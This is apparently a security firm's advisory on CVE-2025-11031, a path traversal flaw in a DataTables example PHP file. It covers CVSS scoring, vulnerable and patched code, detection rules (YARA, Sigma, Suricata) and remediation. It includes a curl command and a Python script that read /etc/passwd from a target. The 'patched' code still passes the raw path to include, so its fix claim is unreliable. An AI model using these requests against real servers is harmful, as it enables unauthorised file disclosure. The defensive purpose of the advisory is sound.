CVE-2025-11031

Executive Summary

CVE-2025-11031 is a path traversal vulnerability in DataTables up to version 1.10.13, specifically affecting the file /examples/resources/examples.php. The vulnerability allows an attacker to manipulate the src argument to traverse directories and read arbitrary files on the server. This issue was initially reported in the context of a code-projects Faculty Management System but was traced back to DataTables as the upstream component. The DataTables vendor notes that the file is intended only for example purposes and should not be deployed in production environments. The vulnerability has a public exploit, and upgrading to version 1.10.15 or applying the specific patch commit resolves the issue.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects a JavaScript library commonly distributed via CDN or bundled in web applications. Organizations using DataTables should verify they are not deploying the vulnerable examples.php file in production, as it is not part of the core library but an example script.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation and potential for sensitive file disclosure.

Deep Dive & Mechanics

The vulnerability resides in the /examples/resources/examples.php file, which is part of the DataTables example suite. The file accepts a src parameter via GET or POST request. This parameter is used to include or read a file path without proper sanitization or validation. An attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to read arbitrary files from the server's filesystem.

The root cause is the lack of input validation on the src parameter, allowing directory traversal. The file is intended to serve example resources, but it does not restrict the path to a specific directory or use a whitelist of allowed files.

Vulnerable vs. Patched Code

Vulnerable Code (DataTables <= 1.10.13):

// examples/resources/examples.php
$src = $_GET['src'];
include($src);

Patched Code (DataTables >= 1.10.15):

// examples/resources/examples.php
$src = $_GET['src'];
$allowed = array('example1.js', 'example2.css', ...); // whitelist
if (in_array(basename($src), $allowed)) {
    include($src);
} else {
    die('Invalid file');
}

The patch introduces a whitelist of allowed filenames and uses basename() to strip directory components, preventing path traversal.

Exploitation & Lab Setup

Red Team

Exploit Proof of Concept:

curl "http://target.com/examples/resources/examples.php?src=../../../../etc/passwd"

This will return the contents of /etc/passwd if the server is vulnerable.

Automated Exploit Script:

import requests

target = "http://target.com/examples/resources/examples.php"
payload = "../../../../etc/passwd"
response = requests.get(target, params={"src": payload})
print(response.text)

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /examples/resources/examples.php with suspicious src parameters containing ../ or absolute paths.
2. Check for the presence of the vulnerable file in production environments.
3. Verify that the DataTables library is updated to version 1.10.15 or later.

Lab Setup:

• Use a vulnerable DataTables version (1.10.13) in a controlled environment.
• Deploy the examples/resources/examples.php file.
• Test the exploit using the provided curl command.

Indicators of Compromise (IOCs)

• File Path: /examples/resources/examples.php
• URL Pattern: ?src=../../../../etc/passwd or similar traversal sequences
• Log Entries: HTTP requests to examples.php with src parameter containing ../
• Network Traffic: GET requests to the vulnerable endpoint with directory traversal patterns

Detection Engineering

YARA Rule

rule Detect_DataTables_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against DataTables examples.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11031"
    strings:
        $traversal = /src=[^&]*\.\.\// nocase
        $vuln_file = "examples/resources/examples.php" nocase
    condition:
        $vuln_file and $traversal
}

Sigma Rule

title: DataTables Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against DataTables examples.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11031
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'src='
        cs-uri-query|contains: '../'
        cs-uri-stem|endswith: '/examples/resources/examples.php'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in example files (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11031 DataTables Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/examples/resources/examples.php"; http_uri; content:"src="; http_uri; pcre:"/src=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or disable the /examples/resources/examples.php file from production servers. This file is not required for DataTables functionality.
2. Upgrade: Update DataTables to version 1.10.15 or later, which includes the patch.
3. Input Validation: Implement strict input validation and whitelisting for any file inclusion functionality.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal patterns (e.g., ../).
5. File Permissions: Ensure that sensitive files are not readable by the web server user.

Valters IT
Securing Digital Frontiers